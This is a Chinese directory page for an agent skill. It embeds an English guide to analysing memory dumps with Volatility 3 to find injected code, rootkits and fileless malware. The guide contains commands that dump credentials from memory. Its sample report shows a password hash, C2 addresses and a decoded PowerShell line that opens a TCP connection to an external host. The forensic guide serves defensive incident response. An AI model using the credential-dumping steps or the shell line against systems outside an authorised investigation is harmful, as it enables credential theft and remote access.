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Agent Skill · 研究检索

analyzing-memory-dumps-with-volatility(分析具有波动性的内存转储)

analyzing-memory-dumps-with-volatility 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

analyzing-memory-dumps-with-volatility 是研究检索类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为接触敏感数据;许可证信息还不明确,第三方扫描有未通过项,按安装量在研究检索类的 73,675 个 Skill 里排第 42,447。

总安装 1,073周安装 43GitHub Stars 5,883下载 347核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:analyzing-memory-dumps-with-volatility(分析具有波动性的内存转储)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/analyzing-memory-dumps-with-volatility
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-memory-dumps-with-volatility
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-memory-dumps-with-volatility

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

对内存转储进行 forensic 分析,检测无文件恶意软件和进程注入。提取加密密钥、密码及隐藏模块,识别 rootkit 活动。需 Volatility3 环境支持,适用于 Windows/Linux 系统。操作前备份原始镜像,防止数据篡改或丢失。

analyzing-memory-dumps-with-volatility 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

来源仓库内路径:skills/analyzing-memory-dumps-with-volatility

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skil…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要接触敏感数据,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

analyzing-memory-dumps-with-volatility 怎么安装?

在终端执行 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzin…。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

analyzing-memory-dumps-with-volatility 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

analyzing-memory-dumps-with-volatility 需要什么权限?

权限级别是接触敏感数据。该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

analyzing-memory-dumps-with-volatility 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

analyzing-memory-dumps-with-volatility 用的人多吗?

公开数据是累计安装 1,073 次,近一周安装 43 次,下载 347 次,GitHub 5,883 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

analyzing-memory-dumps-with-volatility 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。
  • 来源仓库有 5,883 星,维护活跃度相对可查。

先想清楚的地方

  • 需要接触敏感数据,装到常用环境前要先评估影响面。
  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 环境里有大量密钥、凭证,不方便给第三方 Skill 读取的人。
  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
analyzing-memory-dumps-with-volatility

分析具有波动性的内存转储 · 本页

1,0735,883接触敏感数据未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

Analyzing Memory Dumps with Volatility

When to Use

  • A compromised system's RAM has been captured and needs forensic analysis for malware artifacts
  • Detecting fileless malware that exists only in memory without persistent disk artifacts
  • Extracting encryption keys, passwords, or decrypted configuration from process memory
  • Identifying process injection, DLL injection, or process hollowing in a compromised system
  • Analyzing rootkit activity that hides from standard disk-based forensic tools

Do not use for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.

Prerequisites

  • Volatility 3 installed (pip install volatility3) with symbol tables for target OS
  • Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)
  • Knowledge of the source OS version for correct profile/symbol selection
  • Sufficient disk space (memory dumps can be 4-64 GB)
  • YARA rules for scanning memory for known malware signatures
  • Strings utility for extracting readable strings from memory regions

Workflow

Step 1: Identify the Memory Dump Profile

Determine the operating system and version from the memory dump:

# Volatility 3: Automatic OS detection
vol3 -f memory.dmp windows.info

# List available plugins
vol3 -f memory.dmp --help

# If symbols are needed, download from:
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# For Volatility 2 (legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan

Step 2: Enumerate Running Processes

List all processes and identify suspicious entries:

# List all processes
vol3 -f memory.dmp windows.pslist

# Process tree (parent-child relationships)
vol3 -f memory.dmp windows.pstree

# Scan for hidden/unlinked processes (rootkit detection)
vol3 -f memory.dmp windows.psscan

# Compare pslist vs psscan to find hidden processes
# Processes in psscan but not pslist are potentially hidden by rootkits

# Check for process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Then verify the dumped EXE matches the expected binary on disk
Suspicious Process Indicators:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe not spawned by services.exe (wrong parent)
- csrss.exe/lsass.exe with unusual parent process
- Multiple instances of lsass.exe (should be only one)
- Processes with misspelled names (scvhost.exe, lssas.exe)
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
- Processes running from unusual paths (%TEMP%, %APPDATA%)
- Processes with no parent (orphaned - parent terminated)

Step 3: Detect Malicious Code Injection

Scan for injected code and process hollowing:

# Detect injected code in processes (malfind)
vol3 -f memory.dmp windows.malfind

# Malfind looks for:
# - Memory regions with PAGE_EXECUTE_READWRITE protection
# - Memory regions containing PE headers (MZ/PE signature)
# - VAD (Virtual Address Descriptor) anomalies

# Dump injected memory regions for analysis
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# List loaded DLLs per process
vol3 -f memory.dmp windows.dlllist --pid 2184

# Detect hollowed processes by comparing mapped image to disk
vol3 -f memory.dmp windows.hollowfind

# Scan for loaded drivers (potential rootkit drivers)
vol3 -f memory.dmp windows.driverscan

# List kernel modules
vol3 -f memory.dmp windows.modules

Step 4: Analyze Network Connections

Extract active and closed network connections:

# List all network connections (active and listening)
vol3 -f memory.dmp windows.netscan

# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner

# Filter for established connections to external IPs
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# For older Windows (XP/2003):
vol3 -f memory.dmp windows.netstat

# Cross-reference PIDs with process list
# Suspicious: svchost.exe connected to external IP on non-standard port
# Suspicious: notepad.exe or calc.exe with network connections

Step 5: Extract Artifacts and Credentials

Recover sensitive data from memory:

# Dump process memory for a specific PID
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# Extract command-line history
vol3 -f memory.dmp windows.cmdline

# Extract environment variables
vol3 -f memory.dmp windows.envars --pid 2184

# Registry analysis (extract Run keys for persistence)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# Extract hashed/cached credentials
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# Extract clipboard contents
vol3 -f memory.dmp windows.clipboard

# File extraction from memory
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560

Step 6: Scan Memory with YARA Rules

Apply YARA signatures to detect known malware in memory:

# Scan entire memory dump with YARA rules
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# Scan specific process memory
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# Built-in YARA scan for common patterns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# Scan for encryption key material
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"

Step 7: Timeline and Report Generation

Create an analysis timeline and compile findings:

# Generate comprehensive timeline
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# Timeline includes:
# - Process creation/exit times
# - Network connection timestamps
# - Registry modification times
# - File access times

# Export process list for reporting
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# Export network connections
vol3 -f memory.dmp windows.netscan --output csv > network.csv

Key Concepts

TermDefinition
Memory ForensicsAnalysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk
Process HollowingMalware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution
MalfindVolatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs
VAD (Virtual Address Descriptor)Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing
EPROCESSWindows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools
Pool Tag ScanningMemory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked
Fileless MalwareMalware that operates entirely in memory without creating files on disk; only detectable through memory forensics

Tools & Systems

  • Volatility 3: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture
  • WinPmem: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis
  • LiME (Linux Memory Extractor): Loadable kernel module for capturing Linux system memory dumps
  • Rekall: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)
  • MemProcFS: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis

Common Scenarios

Scenario: Detecting Fileless Malware After EDR Alert

Context: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.

Approach:

  1. Run windows.pstree to identify the process chain (which process spawned PowerShell)
  2. Run windows.malfind to detect injected code in running processes
  3. Dump the suspicious process memory and extract strings for C2 URLs
  4. Run windows.netscan to identify network connections from the compromised processes
  5. Run windows.cmdline to see what commands PowerShell executed
  6. Scan with YARA rules for known malware families in the dumped process memory
  7. Extract credentials with hashdump and lsadump to assess lateral movement risk

Pitfalls:

  • Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)
  • Not comparing pslist vs psscan output (missing rootkit-hidden processes)
  • Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)
  • Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)

Output Format

MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File:        memory.dmp
Dump Size:        16 GB
OS Version:       Windows 10 21H2 (Build 19044)
Capture Tool:     WinPmem 4.0
Capture Time:     2025-09-15 14:35:00 UTC

SUSPICIOUS PROCESSES
PID   PPID  Name              Path                                    Anomaly
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      Child of fake svchost
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             Spawned by PowerShell

CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
  Address: 0x00400000  Size: 98304  Protection: PAGE_EXECUTE_READWRITE
  Header: MZ (embedded PE detected)
  SHA-256 of dump: abc123def456...

NETWORK CONNECTIONS
PID   Process         Local           Foreign              State
2184  svchost.exe     10.1.5.42:49152 185.220.101.42:443   ESTABLISHED
4012  powershell.exe  10.1.5.42:49200 91.215.85.17:8080    ESTABLISHED

EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }

TIMELINE
14:10:00  svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05  Network connection to 185.220.101.42:443 established
14:12:30  powershell.exe (PID 4012) spawned by svchost.exe
14:15:00  Code injection into explorer.exe (PID 852) detected
14:20:00  Credential dump from LSASS process

平台分布

Codex

32.81%
按下载量换算114

Claude

31.78%
按下载量换算110

Cursor

19.61%
按下载量换算68

Gemini CLI

10.17%
按下载量换算35

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

未通过

权限和风险

接触敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

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